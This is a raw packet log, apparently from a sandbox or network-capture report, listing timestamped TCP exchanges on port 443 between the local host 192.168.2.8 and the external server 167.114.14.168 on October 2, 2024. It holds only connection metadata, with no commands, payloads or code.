Oct 2, 2024 06:11:40.816353083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.816364050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.818196058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.818223953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.818267107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.818274021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.818322897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.818670988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.818685055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.818747997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.818754911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819216013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819233894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819308996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.819315910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819653034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819668055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.819725037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.819731951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.862174988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.905608892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.905630112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.905688047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.905694962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.905719995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.905736923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.906078100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906092882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906146049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.906151056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906181097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.906199932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.906621933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906637907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906697989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.906703949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.906794071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.907358885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.907376051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.907429934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.907437086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.907505035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909252882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909270048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909331083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909337044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909367085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909384966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909715891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909729958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909768105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909773111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.909822941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.909842014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.910522938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.910537958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.910581112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.910586119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.910643101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.910656929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.910845041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.910859108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.910917044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.910923004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.911001921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996316910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996335983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996390104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996397972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996427059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996450901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996777058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996793985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996841908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996846914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.996876001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.996891975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.997356892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.997374058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.997415066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.997420073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.997456074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.997471094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.998075962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.998097897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.998145103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.998150110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.998181105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.998199940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.000597954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000617027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000655890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000669003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.000673056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000685930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000708103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.000741959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.000746965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.000797033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.001178980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001194000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001252890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.001259089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001329899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.001703024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001718044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001780033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.001784086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.001926899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.087744951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.087763071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.087831974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.087840080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.087883949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.088294983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.088310003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.088363886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.088370085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.088527918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.089977026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.089993000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.090049982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.090056896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.090187073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.090533972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.090569019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.090621948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.090626955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.090715885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.092363119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.092379093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.092434883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.092442036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.092593908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.092978001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.092993975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093045950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.093054056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093116045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.093461990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093477964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093523979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.093534946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093580008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.093938112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.093952894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.094003916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.094008923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.094055891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.178787947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.178809881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.178879976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.178885937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.178930044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.179315090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.179332018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.179373980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.179378986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.179425955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.179552078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.181196928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.181222916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.181265116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.181271076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.181298018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.181318998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.181869984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.181886911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.181945086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.181951046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.182058096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.183819056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.183834076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.183892965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.183900118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.183940887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.184515953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.184530973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.184581041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.184586048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.184644938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.184997082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185012102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185050011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.185059071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185179949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.185543060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185558081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185607910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.185612917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.185657978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.269232035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269252062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269361019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.269368887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269462109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.269695044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269711018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269768000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.269773960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.269826889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.271368980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.271404028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.271436930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.271442890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.271472931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.271497965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.272005081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.272020102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.272069931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.272075891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.272130966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.273997068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274010897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274070978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.274076939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274128914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.274533033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274549007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274597883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.274604082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.274775982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.275139093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275156021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275194883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.275199890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275229931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.275252104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.275520086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275537014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275582075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.275588036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.275712013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.359882116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.359900951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.359946012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.359955072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.360007048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.360261917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.360286951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.360335112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.360342026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.360457897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.362087011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362103939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362191916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.362199068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362260103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.362524033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362555027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362585068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.362588882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.362618923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.362637043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.364722013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.364737988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.364792109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.364798069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.364837885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.365566015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365582943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365624905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.365631104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365658998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365714073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.365719080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365741968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365772009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.365777016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.365803957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.365827084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.366128922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.366143942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.366199017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.366204977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.366386890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.450753927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.450774908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.450843096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.450855017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.450891972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.451324940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.451342106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.451380968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.451390982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.451410055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.451435089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.452855110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.452871084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.452923059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.452929020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.452970982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.453311920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.453327894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.453368902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.453375101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.453397989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.453417063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.455570936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.455585957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.455645084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.455651045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.455703020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.456137896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456152916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456207991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.456216097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456310987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.456549883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456563950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456609011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.456614017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.456640959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.456661940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.457004070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.457019091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.457063913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.457070112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.457241058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.541630030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.541666985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.541743040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.541752100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.541800976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.542188883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.542226076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.542249918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.542260885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.542270899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.542299032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.543636084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.543654919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.543709040 CEST	49723	443	192.168.2.8	167.114.14.168
